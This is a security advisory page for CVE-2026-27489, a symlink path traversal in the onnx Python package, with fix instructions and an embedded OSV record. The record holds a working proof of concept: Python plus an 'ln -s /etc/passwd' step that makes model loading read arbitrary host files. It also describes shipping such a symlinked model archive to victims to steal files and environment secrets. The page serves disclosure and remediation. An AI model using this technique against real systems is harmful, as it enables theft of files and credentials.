CVE-2026-27489: Onnx Path Traversal Vulnerability
HIGHCVE-2026-27489 is a HIGH path traversal vulnerability (CWE-23: Relative Path Traversal) affecting Onnx libraries in the PyPI ecosystem. The issue involves onnx vulnerable to path traversal via symlink. Remediation is available by upgrading affected packages to version 1.21.0.
CVE-2026-27489 at a Glance
How to Fix CVE-2026-27489
To remediate this vulnerability, upgrade all affected Onnx dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install onnx>=1.21.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show onnx
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-27489, inspect your installed packages using pip:
pip show onnx
Analyze the terminal output to locate any version of Onnx in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.21.0), your application is affected.
Note: The pip show onnx command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-23: Relative Path Traversal, where the product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as ".." that can resolve to a location that is outside of that directory. In Onnx, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-27489 Affected Onnx Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
onnx
|
PyPI |
< 1.21.0
|
1.21.0
|
References
Frequently Asked Questions
What is CVE-2026-27489?
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What version fixes CVE-2026-27489?
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What CWE is associated with CVE-2026-27489?
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Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-3r9x-f23j-gc73",
"modified" : "2026-04-06T16:43:13Z",
"published" : "2026-03-31T22:34:25Z",
"aliases" : [ "CVE-2026-27489" ],
"summary" : "onnx Vulnerable to Path Traversal via Symlink",
"details" : "### Summary\nA path traversal vulnerability via symlink allows to read arbitrary files outside model or user-provided directory. \n\n### Details\nThe following check for symlink is ineffective and it is possible to point a symlink to an arbitrary location on the file system:\nhttps://github.com/onnx/onnx/blob/336652a4b2ab1e530ae02269efa7038082cef250/onnx/checker.cc#L1024-L1033\n\n`std::filesystem::is_regular_file` performs a `status(p)` call on the provided path, which follows symbolic links to determine the file type, meaning it will return true if the target of a symlink is a regular file. \n\n\n### PoC\n\n\n\n```python\n# Create a demo model with external data\nimport os\nimport numpy as np\nimport onnx\nfrom onnx import helper, TensorProto, numpy_helper\n\ndef create_onnx_model(output_path=\"model.onnx\"):\n weight_matrix = np.random.randn(1000, 1000).astype(np.float32)\n\n X = helper.make_tensor_value_info(\"X\", TensorProto.FLOAT, [1, 1000])\n Y = helper.make_tensor_value_info(\"Y\", TensorProto.FLOAT, [1, 1000])\n W = numpy_helper.from_array(weight_matrix, name=\"W\")\n\n matmul_node = helper.make_node(\"MatMul\", inputs=[\"X\", \"W\"], outputs=[\"Y\"], name=\"matmul\")\n\n graph = helper.make_graph(\n nodes=[matmul_node],\n name=\"SimpleModel\",\n inputs=[X],\n outputs=[Y],\n initializer=[W]\n )\n\n model = helper.make_model(graph, opset_imports=[helper.make_opsetid(\"\", 11)])\n onnx.checker.check_model(model)\n\n data_file = output_path.replace('.onnx', '.data')\n\n if os.path.exists(output_path):\n os.remove(output_path)\n if os.path.exists(data_file):\n os.remove(data_file)\n\n onnx.save_model(\n model,\n output_path,\n save_as_external_data=True,\n all_tensors_to_one_file=True,\n location=os.path.basename(data_file),\n size_threshold=1024 * 1024\n )\n\nif __name__ == \"__main__\":\n create_onnx_model(\"model.onnx\")\n```\n\n1. Run the above code to generate a sample model with external data.\n2. Remove `model.data`\n3. Run `ln -s /etc/passwd model.data`\n4. Load the model using the following code\n5. Observe check for symlink is bypassed and model is succesfuly loaded\n\n```python\nimport onnx\nfrom onnx.external_data_helper import load_external_data_for_model\n\ndef load_onnx_model_basic(model_path=\"model.onnx\"):\n model = onnx.load(model_path)\n return model\n\ndef load_onnx_model_explicit(model_path=\"model.onnx\"):\n model = onnx.load(model_path, load_external_data=False)\n load_external_data_for_model(model, \".\")\n return model\n\nif __name__ == \"__main__\":\n model = load_onnx_model_basic(\"model.onnx\")\n\n```\n\nA common misuse case for successful exploitation is that an adversary can provide victim with a compressed file, containing `poc.onnx` and `poc.data (symlink)`. Once the victim uncompress and load the model, symlink read the adversary selected arbitrary file.\n\n\n### Impact\n\nRead sensitive and arbitrary files and environment variable (e.g. /proc/1/environ) from the host that loads the model.\n\nNOTE: this issue is not limited to UNIX.\n\n### Sample patch\n\n```c\n#include <fcntl.h>\n#include <sys/stat.h>\n#include <unistd.h>\n#include <errno.h>\n\nint open_external_file_no_symlink(const char *base_dir,\n const char *relative_path) {\n int dirfd = -1;\n int fd = -1;\n struct stat st;\n\n // Open base directory\n dirfd = open(base_dir, O_RDONLY | O_DIRECTORY);\n if (dirfd < 0) {\n return -1;\n }\n\n // Open the target relative to base_dir\n // O_NOFOLLOW => fail if final path component is a symlink\n fd = openat(dirfd,\n relative_path,\n O_RDONLY | O_NOFOLLOW);\n close(dirfd);\n\n if (fd < 0) {\n // ELOOP is the typical error if a symlink is encountered\n return -1;\n }\n\n // Inspect the *opened file*\n if (fstat(fd, &st) != 0) {\n close(fd);\n return -1;\n }\n\n // Enforce \"regular file only\"\n if (!S_ISREG(st.st_mode)) {\n close(fd);\n errno = EINVAL;\n return -1;\n }\n\n // fd is now:\n // - not a symlink\n // - not a directory\n // - not a device / FIFO / socket\n // - race-safe\n return fd;\n}\n```\n\n### Resources\n\n* https://cwe.mitre.org/data/definitions/61.html\n* https://discuss.secdim.com/t/input-validation-necessary-but-not-sufficient-it-doesnt-target-the-fundamental-issue/1172\n* https://discuss.secdim.com/t/common-pitfalls-for-patching-path-traversal/3368",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "onnx"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.21.0"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 1.20.0"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/onnx/onnx/security/advisories/GHSA-3r9x-f23j-gc73"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-27489"
}, {
"type" : "WEB",
"url" : "https://github.com/onnx/onnx/commit/4755f8053928dce18a61db8fec71b69c74f786cb"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/onnx/onnx"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-23", "CWE-61" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-03-31T22:34:25Z",
"nvd_published_at" : "2026-04-01T18:16:28Z"
}
}